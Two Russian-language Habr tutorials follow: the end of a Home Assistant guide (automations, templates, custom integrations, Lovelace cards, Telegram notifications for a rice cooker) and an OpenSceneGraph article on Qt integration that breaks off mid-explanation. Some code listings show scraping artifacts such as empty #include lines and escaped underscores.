Любой модуль представляет собой некоторый набор объектов (entities) и сервисов (services, по сути — функции). Объекты хранят различные принимаемые от устройств данные. Например, sensor.xiaomi\_cooker\_temperature – температуру рисоварки, sun.sun – положение солнца. Данные объекта выражаются одним основным значением — статусом (state), и произвольным набором дополнительных аттрибутов (attributes). Сервисы используются для передачи команд и значений устройствам. Например, xiaomi\_cooker.start – команда начала работы рисоварки, или homeassistant.check\_config – инициализация поиска ошибок в файлах настроек HA. В списке Developer Tools веб-интерфейса находится раздел Services, где можно просмотреть доступный вам список сервисов и поиграться с их вызовами. Рядом есть раздел States, где, соответственно, можно просмотреть и поизменять значения объектов. Нужно заметить, что изменения значений объектов в разделе States имеют односторонний характер. Т.е. если, например, поменять здесь состояние объекта lights.state с off на on, на истинном состоянии устройства это не отразится, и при следующем же обновлении данных от устройства значение объекта будет перезаписано в реальное.
### Automation
Основным инструментом управления умного дома являются [автоматизации](https://www.home-assistant.io/docs/automation/) (automation). Добавлять и редактировать их можно с помощью графического интерфеса в разделе General → Automation или непосредственно в файле “automations.yaml”. Основная функция автоматизаций – вызов сервисов при достижении тех или иных условий. Базовые инструменты задания условий вызова значения объектов, в т.ч. данные о времени. Есть и чуть более специфические решения, как, например, события (events). В качестве простого примера автоматизации приведем код, выполняющий обновление данных о плюсанутости автора с периодом в 15 минут:
**automations.yaml**
```
- id: '1565889970818' # ID автоматизации
alias: Umpiro decharging # Имя
trigger: # Условия срабатывания
- platform: time_pattern # Тип условия - временной
minutes: /15 # Задание условия (в нашем случае – условие выполняется каждые 15 минут)
condition: [] # Дополнительные условия срабатывания
action: # Выполняемые автоматизацией действия
- data: # Аргументы, передаваемые при вызове сервиса
entity_id: sensor.umpiro_charge # Аргумент (ключ: значение)
service: homeassistant.update_entity # Имя вызываемого сервиса
```
Нужно заметить, что пока еще не все доступные автоматизации (например, приведенную выше) можно сконфигурировать без редактирования yaml-кода, через графический интерфейс, но разработчики говорят об активной работе над устранением этого недостатка.
### Templating
После автоматизаций будет самое время рассказать о [шаблонах](https://www.home-assistant.io/docs/configuration/templating/) (templating). Различные элементы настроек в yaml-файлах позволяют использовать вставки на [скриптовом языке jinja2](https://jinja.palletsprojects.com/en/2.10.x/). Многие из этих элементов объединены общим названием ‘Templates’, как то service\_template или trigger\_template. Используя шаблоны, мы получаем доступ к значениям [объектов в HA](https://www.home-assistant.io/docs/configuration/state_object/) и возможность использовать эти данные в комплексных математических и логических выражениях, что значительно расширяет наш потенциал. В качестве примера, приведем записанный в “configuration.yaml” чуть подусложненный код упомянутого ранее sensor.umpiro\_charge. Это [template\_sensor](https://www.home-assistant.io/integrations/template), i.e. “сенсор, формирующий данные на основании значений других объектов”. Наш сенсор будет представлять собой некоторый аналог постепенно разряжающейся батарейки:
**configuration.yaml**
```
sensor: # Название модуля
platform: template # Тип модуля - шаблон
sensors: # Список объектов
# Название объекта – sensor.umpiro_charge
umpiro_charge:
# Задает форму отображения объекта в UI (опционально)
unit_of_measurement: '%'
# Шаблон, задающий значение объекта
value_template: >-
# Получение значения объекта – конвертация фильтром ‘int’
# + проверка на соответствие типа
{% if states('sensor.umpiro_charge')|int('unknown') is number %}
# запись в переменную нового значения объекта
# на основе текущего значения и времени последнего обновления
{% set value = (states('sensor.umpiro_charge')|int - (as_timestamp(now()) - as_timestamp(states.sensor.umpiro_charge.last_updated))/60/15)|round %}
# Тонкая работа фильтрами для ограничения плюсанутости
{{ [[0, value]|max, 100]|min }}
{% else %}
# Значение, используемое HA по умолчанию
# для не определенных состояний объектов
{{ 'unknown' }}
{% endif %}
# ID стороннего объекта, при изменение значения которого
# будет обновляться значение данного объекта
entity_id: []
friendly_name: 'Charge' # Имя объекта
# Задает форму отображения объекта в UI (опционально)
device_class: battery
```
entity\_id мы оставили пустым, поскольку уже добавили автоматизацию, которая будет самостоятельно вызывать обновление данных объекта.
### Python Scripts
В свою очередь, для создания новых сервисов простым инструментом являются [пайтон-скрипты](https://www.home-assistant.io/integrations/python_script/) (python scripts). После добавления в “configuration.yaml” строчки: “python script:”, все файлы с расширением “.py”, которые мы поместим в папку “~/.homeassistant/python\_scripts”, станут доступны в качестве сервисов с именами “python\_scripts.”. Их код выполняется в заранее заданном окружении, где переменные data и hass дают нам доступ к аргументам вызова сервиса, а также объектам и сервисам HA. В качестве примера приведем код файла “charge\_set.py” для сервиса “python\_scripts.charge\_set”. Его функцией будет установка заряда нашей батарейки:
**python\_scripts/charge\_set.py**
```
# Получение первого аргумента вызова
name = data.get('name', 'sensor.umpiro_charge')
# Получение второго аргумента вызова
new_state = data.get('charge', '100')
# Получение данных объекта
attributes = hass.states.get(name).attributes
# Изменение данных объекта
hass.states.set(name, new_state, attributes)
```
### Creating integration
Все что мы сделали с помощью шаблонов и пайтон-скриптов, возможно, было бы проще осуществить написанием отдельного модуля. Как уже говорилось, неофициальные модули хранятся в папке “custom\_components”. В будущем нам понадобится объект, хранящий информацию о текущем рецепте для нашей рисоварки, и сервис, позволяющий изменять эти данные. На основе [примера из документации](https://developers.home-assistant.io/docs/en/dev_101_services.html) создадим для этого новый модуль, “overmind”. Первый шаг – это файл custom\_components/overmind/\_\_init\_\_.py:
**custom\_components/overmind/\_\_init\_\_.py**
```
# Домен для регистрации сервиса
DOMAIN = 'overmind'
# Значение по умолчанию для нашего объекта (рецепта)
DEFAULT_RECIPE = {
"title": "Habr post",
"description": "Post an article on habr.com",
"profile": "471822"
}
# Функция настройки модуля
def setup(hass, config):
# Установка значений объекта
hass.states.set('overmind.current_recipe', 'on', DEFAULT_RECIPE)
# Функция с описанием сервиса установки рецепта
def handle_set(call):
# Получение значения аргумента
recipe = call.data.get(‘recipe’, DEFAULT_RECIPE)
# Выполнение задачи - изменение значения объекта
hass.states.set('overmind.current_recipe', 'set', recipe)
# Регистрация сервиса
hass.services.register(DOMAIN, 'recipe_set', handle_set)
return True
```
После этого сообщим о новом модуле файлу настроек “configuration.yaml”, добавив в него строчку с названием модуля: “overmind:”. Задача решена.
### Lovelace UI
Так называется используемый HA [фронтенд](https://www.home-assistant.io/lovelace/). Этот графический интерфейс, через который обычному пользователю предлагается управлять умным домом, является заглавной страницей веб-интерфейса HA. Интерфейс LUI формируется из карточек (сards) разнообразых типов, которые могут отражать значения объектов, служить для вызова функций и прочих задач. Карточки можно распределять по страницам (view), по аналогии с браузерными закладками. Настройка удобно организована через тот же графический интерфейс, но доступна и посредством yaml-кода, для чего там же присутствует встроенный текстовый редактор. Рекомендую заглянуть на страницу <https://demo.home-assistant.io/>, где приведено несколько различных примеров настройки LUI, и где их легко можно посмотреть, пощелкать и поизменять.
*Пример настройки графического интерфейса*
Говоря о недостатках интерфейса, к сожалению, разработчики сами признаются, что проект пытается усидеть одновременно на стульях десктопа и смартфона. LUI, по умолчанию, любит самостоятельно определять расположение и размеры карточек, что иногда может превращать нормально выглядящую на мониторе страницу в полную кашу на экране смартфона, и наоборот. Присутствуют некоторые простые инструменты для упорядочения интерфейса, но и они, по моему опыту, не всегда эффективны.
Думаю, не имеет большого смысла описывать создание интерфейса посредством графических инструментов, поэтому я приведу несколько примеров в виде использованного мной yaml-кода. Создав для нашей рисоварки отдельную страницу (view), мы постараемся заполнить её самыми необходимыми элементами так, чтобы это не вызывало отторжения при пользовании с экрана смартфона.
Тут же опробуем те самые простые инструменты упорядочения интерфеса, это – horizontal-stack и vertical-stack. Сперва, создадим vertical-stack из карточек типов entity-button и sensor. Первая будет служить для запуска нашей рисоварки, вторая – для отображения значения температуры:
**vertical-stack**
```
cards: # Список карточек стека
- type: entity-button # Тип первой карточки в стеке
entity: sensor.xiaomi_cooker_state # Объект, связанный с данной карточкой
icon: 'mdi:selection' # Иконка для данной кнопки
icon_height: 100px # Размер иконки
name: Offline # Имя под кнопкой
show_icon: true #
show_name: true #
tap_action: # Действие при нажатии
action: call-service # Действие – вызов сервиса
service: script.turn_on # Сервис – вызов скрипта
service_data: # Аргументы вызова сервиса
entity_id: script.order_cooker_start # Аргумент – название скрипта
hold_action: # Действие при удержании
action: none #
- type: sensor # Тип второй карточки в стеке
entity: sensor.xiaomi_cooker_temperature # Объект, связанный с данной карточкой
name: Temper # Имя карточки
type: vertical-stack # Тип карточки – вертикальный стек
```
Home Assistant включает в себя архив иконок [Material Design Icons](https://cdn.materialdesignicons.com/3.0.39/), которые, через соответствующие имена (например, mdi:selection), можно использовать в элементах настроек. Скрипт (в данном случае, не python-, а yaml-), который мы использовали для вызова сервиса, это еще один удобный инструмент HA.
Теперь объединим приведенный выше vertical-stack с карточкой портрета нашей в теперь уже horizontal-stack. Все будет так же просто:
**horizontal-stack**
```
сards: # Список карточек стека
- type: picture # Тип карточки
image: /local/akari_r.jpg # Адрес файла изображения
- # Тут мы помещаем написанный выше код вертикального стека
type: horizontal-stack # Тип карточки – горизонтальный стек
```
Здесь нужно отметить строчку ‘image:’. Все файлы, которые мы помещаем в папку ‘~/.homeassistant/www’ становятся доступными по ссылке [http://localhost/local/filename](http://localhost/local/akari_r.jpg).
Следующим шагом мы немного поработаем над созданной нами кнопкой вызова сервиса. Для нас было бы удобно, если бы она работала как тумблер, т.е. на включение/выключение, а не так, как это сделано сейчас. Этого можно добиться через использование карточки типа conditional, отображение которой на экране можно регулировать через задание определенных условий. Ниже приведен код для карточки, которая является кнопкой выключения рисоварки и видна только при условии, если рисоварка находится в процессе приготовления блюда:
**conditional**
```
card: # Описание содержания карточки
entity: sensor.xiaomi_cooker_state #
icon: 'mdi:star-box-outline' #
icon_height: 100px #
name: Running #
tap_action: #
action: call-service #
service: xiaomi_cooker.stop #
type: entity-button #
conditions: # Условия отображения
# Объект, значение которого проверяется
entity: sensor.xiaomi_cooker_mode
# Значение объекта, необходимое для выполнения условия
state: Running
type: conditional # Тип карточки
```
Переписав подобным образом ранее созданный код кнопки влючения, и объединив его с этим, мы получим одну кнопку, работающую одновременно на включение и выключение.
Дополним наш интерефейс еще одной карточкой — с отображением времени до окончания приготовления (аналогично карточке температуры), и еще одной – с деталями приготовляемого рецепта (custom:recipe-card). В итоге получим что-то такое:
### Custom Cards
Home Assistant помимо богатства встроенного набора типов карточек, конечно же, предоставляет возможность создавать и свои. Такие карточки называются пользовательскими карточками (custom cards), и для их создания используется javascript. [Здесь](https://developers.home-assistant.io/docs/en/lovelace_custom_card.html) можно ознакомиться с двумя простыми примерами кода. В сети несложно найти готовые карточки, созданные различными [энтузиастами](https://sharethelove.io/), а если хочется поэкспериментировать самому, то полезно будет узнать, что существуют и специальные [js-модули](https://github.com/thomasloven/lovelace-card-tools), созданные для упрощения работы над написанием новых. Мой опыт обращения с javascript продолжает желать меньшего, поэтому, в качестве примера, я приведу только небольшую часть кода карточки, используемой для выбора и отображения текущего рецепта.
**www/recipe-card.js**
```
import {
// Импорт из стороннего модуля lit-element
LitElement,
html,
css
} from "https://unpkg.com/lit-element@latest/lit-element.js?module";
// Класс с описанием новой карточки
class RecipeCard extends LitElement {
// Получение доступа к элементам HA
static get properties() {
return {
hass: {},
config: {}
};
}
// Пример вызова сервиса
callServiceEx() {
this.hass.callService('persistent_notification', 'create', {message: 'example'});
}
// Получение html-кода карточки
render() {
// Получение информации об объекте, связанном с данной карточкой
const entityId = this.config.entity;
// Получение состояния объекта
const state = this.hass.states[entityId];
// Получение аттрибута объекта
const titleStr = state ? state.attributes.title : 'unavailable';
const descrStr = state ? state.attributes.description : 'unavailable';
// Формирование кода карточки
return html`
Recipe
${titleStr}
${descrStr}
`;
}
// Задание имени новой карточки
customElements.define('recipe-card', RecipeCard);
```
Для использования новой карточки нужно будет добавить в начале файла настроек LUI следующий код:
**recipe-card**
```
resources: # Задание внешних ресурсов
- type: module # Тип ресурса – модуль
url: /local/recipe-card.js # Расположение ресурса
```
и среди списка карточек:
```
- type: 'custom:recipe-card' # Тип карточки
entity: overmind.current_recipe # Объект, связанный с данной карточкой
```
### Notifications
Необходимой частью умного дома является отправка сообщений пользователю. В HA такие сообщения называются notifications (уведомления) и существует два базовых типа уведомлений. Первый – это [внутренние уведомления](https://www.home-assistant.io/integrations/persistent_notification/) (persistent notifications). Для их отправки используется встроенный сервис «persistent\_notification.create». Список таких сообщений доступен через иконку колокольчика в графическом интерфейсе, они используют markdown разметку и по сути довольно просты.
Другим, более интересным, инструментом является встроенный модуль notify, который через установку дополнительных модулей позволяет передавать сообщения, используя [сторонние платформы](https://www.home-assistant.io/integrations/#notifications). В качестве примера рассмотрим [модуль для telegram](https://www.home-assistant.io/integrations/telegram/).
Для использования модуля нам, прежде всего, будет необходимо создать бота в самом telegram. При настройке нам понадобится chat\_id нашего пользователя и API token бота. Как получить эти данные – детально рассказано по ссылке выше, будем считать, что они у нас готовы. Переходя непосредственно к установке модуля, сперва, как мы уже делали, скопируем его исходники в папку components, а затем добавим его настройки в файл “configuration.yaml”:
**configuration.yaml**
```
telegram_bot: # Настройки модуля telegram
platform: polling # Тип модуля
api_key: XXXXXXXXXXXXX # API Token вашего бота
allowed_chat_ids:
XXXXXXX # chat_id вашего пользователя
proxy_url: socks5://XXXXXXXXXXXXX # Адрес нашего любимого прокси
proxy_params:
username: umpiro
password: umpiro_password
```
плюс настройки модуля notify:
```
notify: # Настройка модуля notify
name: notify_send # Название сервиса (в нашем случае – будет notify.notify_send)
platform: telegram # Тип модуля
chat_id: XXXXXXX # chat_id вашего пользователя
```
Модуль telegram позволяет нам отправлять сообщения, картинки, или видео. В качестве примера, создадим автоматизацию для отправки сообщения с картинкой, уведомляющее нас об окончании приготовления блюда.
**automations.yaml**
```
- id: '1571074941908' # ID автоматизации
alias: EOC # Имя автоматизации
trigger: # Условия срабатывания автоматизации
# Объект, определяющий срабатывание
- entity_id: sensor.xiaomi_cooker_mode
from: Running # Исходное состояние объекта
# Тип автоматизации – изменение состояния объекта
platform: state
to: Waiting # Конечное состояние объекта
condition: [] # Дополнительные условия
action: # Выполнияемые автоматизацией действия
- service: notify.notify_send # Действие – вызов сервиса
data: # Аргументы, передаваемые при вызове сервиса
title: End of Cooking # Заголовок
message: "EOC" # Сообщение
data: # Дополнительные данные сообщения
photo: # Тип данных - изображение
# Файл изображения
- file: /home/umpiro/.homeassistant/www/cat.jpg
# Заголовок изображения
caption: “EOC”
```
### Послесловие
Home Assistant может заинтересовать тех, кто хочет попробовать организовать локальное управление умным домом. Это широкий, интересный, открыто и активно развивающийся за счет усилий коммьюнити проект. Разнообразие инструментов Home Assistant не может не радовать (некоторые важные я не успел упомянуть). В качестве минуса можно назвать относительную запутанность и неполноту документации.
P.S.
Недавно, 10 октября произошел, не знаю можно ли это назвать релизом, переход проекта от версии 0.99 к версии 0.100.
Цитата из Release Notes:
> Welcome to the release notes of yet another wonderful release! No, we’re not going for 1.0, we’re doing 0.100! We feel like we’re not ready yet with our goals for 1.0, but we’re making progress every day. For a sneak peak of what we’re thinking about, check our blog [Simple mode in Home Assistant 1.0.](https://developers.home-assistant.io/blog/2019/10/05/simple-mode.html) | https://habr.com/ru/post/471822/ | null | ru | null |
# OpenSceneGraph: Интеграция с фреймворком Qt
Введение
========
С одной стороны движок OpenSceneGraph и сам по себе обладает развитой подсистемой управления окнами, обработки событий пользовательского ввода, отправки и приема пользовательских сообщений. Об этом мы довольно подробно поговорили в предыдущих статьях этого цикла. В общем, в сумме с возможностями C++/STL этого вполне достаточно для разработки сколь угодно сложных приложений.
*Пример интеграции OSG в приложение, разработанной в QtDesigner. Этот пример будет подробно разобран ниже*
С другой стороны, для ускорения разработки на C++ применяются как сторонние библиотеки, расширяющие возможности этого языка (вроде boost), так и целые фреймворки, позволяющие легко и непринужденно разрабатывать кроссплатформенные приложения широкого функционального назначения. Одним из таких фреймворков является ультра популярный Qt. Как бы не ругали Qt за его метаобъектный компилятор и прочие недостатки и неудобства, сила Qt в обширной библиотеке классов, решающей все мыслимые задачи кроссплатформенной разработки, а так же в концепции "сигналы — слоты", реализующей подсистему обмена сообщениями между классами. На сигналах и слотах основаны так же методы взаимодействия приложения с операционной системой, а так же межпроцессное взаимодействие.
И, черт возьми, было бы весьма интересно совместить две технологии: Qt и OSG. Подобную задачу пришлось решать моему коллективу, о чем я уже писал в [одной из своих публикаций](https://habr.com/ru/post/436276/). Однако, этот вопрос хотелось бы раскрыть немного шире, и данная статья будет как раз на эту тему.
Существует две возможности интеграции OSG и Qt:
1. Использование сигналов и слотов Qt для взаимодействия объектов в рамках приложения OSG
2. Интеграция вьювера OSG в графический интерфейс, разрабатываемый на C++/Qt, с применением том числе и дизайнера форм QtDesigner
Первый вариант применим когда не требуется использование элементов GUI, предоставляемых Qt, но требуется обеспечить взаимодействие компонентов приложения, посредством сигналов и слотов. Например, такая потребность возникла у меня, для интеграции OSG-приложения с библиотекой межпроцессного взаимодействия через TCP-сокеты, использующей Qt.
Второй вариант необходим, когда требуется интеграция движка OSG и графическое приложение, разрабатываемое с применением Qt. Нам становятся доступны сигналы и слоты, а кроме них и весь спектр стандартизированных элементов GUI, предоставляемых Qt.
1. Сигналы Qt в оконной системе OSG
===================================
Первый пример будет несколько синтетическим: напишем простое приложение OSG с примитивной сценой; создадим два класса, один из которых будет обрабатывать нажатие клавиш, а другой выводить в консоль сообщение о том какая клавиша нажата. При этом обработчик будет формировать сигнал Qt, с сообщением о нажатой клавише в качестве параметра.
Чтобы выполнить интеграцию с Qt достаточно удовлетворить следующим трем условиям
1. Наследовать взаимодействующие классы от QObject
2. Организовать цикл обработки сигналов
3. Создать экземпляр класса QApplication (или QCoreApplication) существующий в памяти в процессе работы приложения
Полный код примера можно увидеть [здесь](https://github.com/maisvendoo/OSG-lessons/tree/master/qt-signals), в [моем репозитории OSG-lessons](https://github.com/maisvendoo/OSG-lessons), где собраны все уроки по данному циклу.
Для начала создадим класс, который будет "крутить" очередь обработки сигналов
**qt-events.h**
```
#ifndef QT_EVENTS_H
#define QT_EVENTS_H
#include
#include
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
class QtEventsHandler : public osgGA::GUIEventHandler
{
public:
QtEventsHandler();
virtual bool handle(const osgGA::GUIEventAdapter &ea,
osgGA::GUIActionAdapter &aa);
protected:
};
#endif // QT\_EVENTS\_H
```
**qt-events.cpp**
```
#include "qt-events.h"
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
QtEventsHandler::QtEventsHandler()
{
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
bool QtEventsHandler::handle(const osgGA::GUIEventAdapter &ea,
osgGA::GUIActionAdapter &aa)
{
Q_UNUSED(aa)
switch (ea.getEventType())
{
case osgGA::GUIEventAdapter::FRAME:
{
// Process qt signals and event
QCoreApplication::processEvents(QEventLoop::AllEvents);
break;
}
default:
break;
}
return false;
}
```
Все предельно просто — данный класс это стандартный обработчик событий OSG, который при отрисовке кадра инициирует обработку очереди сигналов Qt вызовом
```
QCoreApplication::processEvents(QEventLoop::AllEvents);
```
Теперь создадим класс, обрабатывающий клавиатуру, опять таки, использующий механизм встроенный в OSG, но при этом способный послать сигнал Qt. Для этого мы применим преданное анафеме в последнее время множественное наследование
**keyhandler.h**
```
#ifndef KEY_HANDLER_H
#define KEY_HANDLER_H
#include
#include
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
class KeyboardHandler : public QObject, public osgGA::GUIEventHandler
{
Q\_OBJECT
public:
KeyboardHandler(QObject \*parent = Q\_NULLPTR)
: QObject(parent)
, osgGA::GUIEventHandler ()
{
}
bool handle(const osgGA::GUIEventAdapter &ea, osgGA::GUIActionAdapter &aa)
{
switch (ea.getEventType())
{
case osgGA::GUIEventAdapter::KEYDOWN:
emit sendMessage("Pressed key " + QString(ea.getKey()));
break;
default:
break;
}
return false;
}
signals:
void sendMessage(QString msg);
private:
};
#endif // KEY\_HANDLER\_H
```
Класс будет обрабатывать сообщение о нажатии клавиши и посылать сигнал с сообщением, содержащим код нажатой клавиши. Принимать этот сигнал будет класс, никак не связанный с OSG, являющийся наследником QObject и содержащий один единственный слот, печатающий сообщение в стандартный поток вывода
**receiver.h**
```
#ifndef RECEIVER_H
#define RECEIVER_H
#include
#include
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
class Receiver : public QObject
{
Q\_OBJECT
public:
Receiver(QObject \*parent = Q\_NULLPTR) : QObject(parent) {}
public slots:
void printMessage(QString msg)
{
std::cout << msg.toStdString() << std::endl;
}
};
#endif // RECEIVER\_H
```
Теперь соберем всё в кучу, написав приложение OSG
**main.h**
```
#ifndef MAIN_H
#define MAIN_H
#include
#include
#include
#include "qt-events.h"
#include "keyhandler.h"
#include "receiver.h"
#endif
```
**main.cpp**
```
#include "main.h"
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
int main(int argc, char *argv[])
{
QCoreApplication app(argc, argv);
osg::ref_ptr scene = osgDB::readNodeFile("../data/cessnafire.osg");
osgViewer::Viewer viewer;
viewer.setSceneData(scene.get());
viewer.addEventHandler(new QtEventsHandler);
viewer.setUpViewInWindow(0, 0, 1024, 768);
KeyboardHandler \*keyboardHandler = new KeyboardHandler;
Receiver \*receiver = new Receiver;
QObject::connect(keyboardHandler, &KeyboardHandler::sendMessage,
receiver, &Receiver::printMessage);
viewer.addEventHandler(keyboardHandler);
return viewer.run();
}
```
Для начала мы создаем экземпляр класса QCoreApplication.
```
QCoreApplication app(argc, argv);
```
Это необходимо для работы описываемой технологии. При этом мы *не будем вызывать метод QCoreApplication::exec()*! Вместо этого у цикл обработки сигналов будет крутится у нас внутри цикла osgViewer::Viewer::run(), для чего мы создаем и регистрируем соответствующий обработчик
```
viewer.addEventHandler(new QtEventsHandler);
```
Создаем экземпляры классов, который будут взаимодействовать посредством сигналов Qt, связывая сигнал одного со слотом другого
```
KeyboardHandler *keyboardHandler = new KeyboardHandler;
Receiver *receiver = new Receiver;
QObject::connect(keyboardHandler, &KeyboardHandler::sendMessage,
receiver, &Receiver::printMessage);
```
Регистрируем обработчик клавиатуры
```
viewer.addEventHandler(keyboardHandler);
```
Все, запускаем вьювер
```
return viewer.run();
```
и видим такую картину
Да, пример несколько надуманный, но он иллюстрирует главные принципы интеграции кода, использующего механизмы Qt в приложение, использующее OSG. Эта идея, почерпнутая из книги [OpenSceneGraph 3. Cookbook](https://www.amazon.com/OpenSceneGraph-3-Cookbook-Rui-Wang/dp/184951688X), сэкономила мне и моей команде разработчиков уйму времени и нервов, позволив использовать в проекте на OSG отлаженный и стандартизированный в пределах нашей кодовой базы модуль, основанный на Qt.
А что если мы таки хотим использовать OSG внутри GUI-приложения на Qt?
2. Библиотека osgQt
===================
[osgQt](https://github.com/openscenegraph/osgQt) — библиотека интеграции, предназначенная для:
1. Встраивания трехмерной сцены, реализованной на OSG в графический интерфейс приложения, разрабатываемого на Qt
2. Встраивания виджетов Qt на поверхности трехмерной геометрии внутри сцены OSG. Да, вы не ослышались — виджеты Qt могут преспокойно работать внутри виртуального мира. Когда-нибудь я обязательно это продемонстрирую
С этой библиотекой были определенные проблемы, которые удалось преодолеть путем внимательного изучения прилагаемых к ней примеров и чтения уже упомянутой [OpenSceneGraph 3. Cookbook](https://www.amazon.com/OpenSceneGraph-3-Cookbook-Rui-Wang/dp/184951688X)
Библиотеку следует собрать, и процесс этот аналогичен сборке самого движка, подробно описан в самой [первой статье цикла](https://habr.com/ru/post/429816/). Единственным замечанием будет то, что -DCMAKE\_INSTALL\_PREFIX следует выбрать тем же самым, что был указан при сборке движка — так osgQt установится рядом с движком, и её будет удобно пользоваться при разработке.
3. Интеграция osgViewer::Viewer в Qt GUI
========================================
Следующий пример будет довольно полезным. Мы напишем просмотрщик, позволяющий загружать модели формата \*.osg, используя стандартные элементы управления Qt. Причем для разработки графического интерфейса используем QtDeisgner.
Создадим новый проект типа «Приложение Qt Widgets»
При этом будет сгенерировано главное окно приложения с заготовкой меню, тулбаром и статусной строкой. В QtDesigner добавим на это окно компонент QFrame
[](https://habrastorage.org/webt/ek/4r/8c/ek4r8can5b5v63ex03jbw0v4czu.png)
В этот фрейм мы поместим вьювер OSG. Вьювер OSG по сути будет являтся виджетом Qt, для его реализации напишем класс QViewerWidget. Полные исходники помещу по спойлер, дабы не замыливать изложение простынями кода
**qviewerwidget.h**
```
#ifndef QVIEWER_WIDGET_H
#define QVIEWER_WIDGET_H
#include
#include
#include
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
class QViewerWidget : public QWidget
{
public:
QViewerWidget(const QRect &geometry);
virtual ~QViewerWidget();
osg::Group \*getScene();
osgViewer::Viewer \*getViewer();
protected:
osg::ref\_ptr scene;
osgViewer::Viewer viewer;
private:
osgQt::GraphicsWindowQt \*createGraphicsWindow(const QRect &geometry);
void initCamera(const QRect &geometry);
void paintEvent(QPaintEvent \*);
};
#endif // QVIEWER\_WIDGET\_H
```
**qviewerwidget.cpp**
```
include "qviewerwidget.h"
#include
#include
#include
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
QViewerWidget::QViewerWidget(const QRect &geometry)
: QWidget()
, scene(new osg::Group)
{
initCamera(geometry);
viewer.setSceneData(scene);
viewer.addEventHandler(new osgViewer::StatsHandler);
viewer.setCameraManipulator(new osgGA::TrackballManipulator);
viewer.setThreadingModel(osgViewer::Viewer::SingleThreaded);
osgQt::GraphicsWindowQt \*gw = static\_cast(viewer.getCamera()->getGraphicsContext());
QGridLayout \*layout = new QGridLayout;
if (layout != Q\_NULLPTR)
{
layout->addWidget(gw->getGLWidget());
this->setLayout(layout);
}
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
QViewerWidget::~QViewerWidget()
{
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
osg::Group \*QViewerWidget::getScene()
{
return scene.get();
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
osgViewer::Viewer \*QViewerWidget::getViewer()
{
return &viewer
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
osgQt::GraphicsWindowQt \*QViewerWidget::createGraphicsWindow(const QRect &geometry)
{
osg::DisplaySettings \*ds = osg::DisplaySettings::instance().get();
osg::ref\_ptr traits = new osg::GraphicsContext::Traits;
traits->windowName = "";
traits->windowDecoration = false;
traits->x = geometry.x();
traits->y = geometry.y();
traits->width = geometry.width();
traits->height = geometry.height();
if (traits->height == 0) traits->height = 1;
traits->doubleBuffer = true;
traits->alpha = ds->getMinimumNumAlphaBits();
traits->stencil = ds->getMinimumNumStencilBits();
traits->sampleBuffers = ds->getMultiSamples();
traits->samples = ds->getNumMultiSamples();
return new osgQt::GraphicsWindowQt(traits.get());
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void QViewerWidget::initCamera(const QRect &geometry)
{
osg::Camera \*camera = viewer.getCamera();
osg::ref\_ptr gw = createGraphicsWindow(geometry);
gw->setTouchEventsEnabled(true);
camera->setGraphicsContext(gw.get());
const osg::GraphicsContext::Traits \*traits = gw->getTraits();
camera->setClearColor(osg::Vec4(0.7f, 0.7f, 0.7f, 1.0f));
camera->setViewport(0, 0, traits->width, traits->height);
double aspect = static\_cast(traits->width) / static\_cast(traits->height);
camera->setProjectionMatrixAsPerspective(30.0, aspect, 1.0, 1000.0);
}
//------------------------------------------------------------------------------
//
//------------------------------------------------------------------------------
void QViewerWidget::paintEvent(QPaintEvent \*)
{
viewer.frame();
}
```
Основная идея реализации состоит в использовании класса osgQt::GraphicsWindow, создающий графическое окно, базирующее на классе QGLWidget. Для создания этого окна служит метод
```
osgQt::GraphicsWindowQt *QViewerWidget::createGraphicsWindow(const QRect &geometry)
{
osg::DisplaySettings *ds = osg::DisplaySettings::instance().get();
osg::ref_ptr traits = new osg::GraphicsContext::Traits;
traits->windowName = "";
traits->windowDecoration = false;
traits->x = geometry.x();
traits->y = geometry.y();
traits->width = geometry.width();
traits->height = geometry.height();
if (traits->height == 0) traits->height = 1;
traits->doubleBuffer = true;
traits->alpha = ds->getMinimumNumAlphaBits();
traits->stencil = ds->getMinimumNumStencilBits();
traits->sampleBuffers = ds->getMultiSamples();
traits->samples = ds->getNumMultiSamples();
return new osgQt::GraphicsWindowQt(traits.get());
}
```
Окно настраивается в соответствии с параметрами геометрии, переданными на вход, и требуемыми настройками трехмерного рендера OSG. Возвращаемый указатель — это графический контекст OSG, который следует передать в камеру. Поэтому следующим шагом выполняем инициализацию камеры
```
void QViewerWidget::initCamera(const QRect &geometry)
{
osg::Camera *camera = viewer.getCamera();
osg::ref_ptr gw = createGraphicsWindow(geometry);
gw->setTouchEventsEnabled(true);
camera->setGraphicsContext(gw.get());
const osg::GraphicsContext::Traits \*traits = gw->getTraits();
camera->setClearColor(osg::Vec4(0.7f, 0.7f, 0.7f, 1.0f));
camera->setViewport(0, 0, traits->width, traits->height);
double aspect = static\_cast(traits->width) / static\_cast(traits->height);
camera->setProjectionMatrixAsPerspective(30.0, aspect, 1.0, 1000.0);
}
```
Собственно вызов
```
camera->setGraphicsContext(gw.get());
```
и передает камере требуемый контекст, связанный с виджетом QGLWidget. Всю рутину по созданию виджета помещаем в конструктор класса
```
QViewerWidget::QViewerWidget(const QRect &geometry)
: QWidget()
, scene(new osg::Group)
{
initCamera(geometry);
viewer.setSceneData(scene);
viewer.addEventHandler(new osgViewer::StatsHandler);
viewer.setCameraManipulator(new osgGA::TrackballManipulator);
viewer.setThreadingModel(osgViewer::Viewer::SingleThreaded);
osgQt::GraphicsWindowQt *gw = static_cast(viewer.getCamera()->getGraphicsContext());
QGridLayout \*layout = new QGridLayout;
if (layout != Q\_NULLPTR)
{
layout->addWidget(gw->getGLWidget());
this->setLayout(layout);
}
}
```
Здесь мы настраиваем вьювер и особое внимание обращаем на вызов
```
viewer.setThreadingModel(osgViewer::Viewer::SingleThreaded);
```
